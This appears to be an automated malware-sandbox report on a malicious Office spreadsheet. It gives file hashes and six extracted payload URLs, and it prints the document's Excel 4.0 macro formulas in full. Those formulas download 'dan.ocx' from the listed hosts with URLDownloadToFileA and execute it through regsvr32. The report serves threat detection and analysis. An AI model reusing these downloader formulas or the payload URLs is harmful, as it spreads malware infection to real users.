General
-
Target
fb0bc101c341447490479e5db59e15c7ea239f729ee5b3941b3b8b727a304dea
-
Size
40KB
-
MD5
e3faf924122e53ed2db189df269bcaca
-
SHA1
74ee79b373a2b9f2d862b1419005f5f73124049d
-
SHA256
fb0bc101c341447490479e5db59e15c7ea239f729ee5b3941b3b8b727a304dea
-
SHA512
dbfbe76352dbb1809d98021719c408f26a574fe52947576242f418a194cd8d4687676728810a4e77902a56dab96b71a89e1d72da03334ac54af7193b9e83efbb
-
SSDEEP
768:G9oms9O+pOevZCwtxyKfcrND59V+L9Rw4eWrXcTqw0VfWZE:G9oms7tylND59V4jwmXc2RVfW+
Malware Config
Extracted
https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/
https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/
https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/
https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/
https://axial-ing.fr/old/98WgLPFy5u2Xf/
https://luape.es/wp-admin/moJpURVz/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/","..\dan.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/","..\dan.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/","..\dan.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/","..\dan.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://axial-ing.fr/old/98WgLPFy5u2Xf/","..\dan.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://luape.es/wp-admin/moJpURVz/","..\dan.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dan.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
fb0bc101c341447490479e5db59e15c7ea239f729ee5b3941b3b8b727a304dea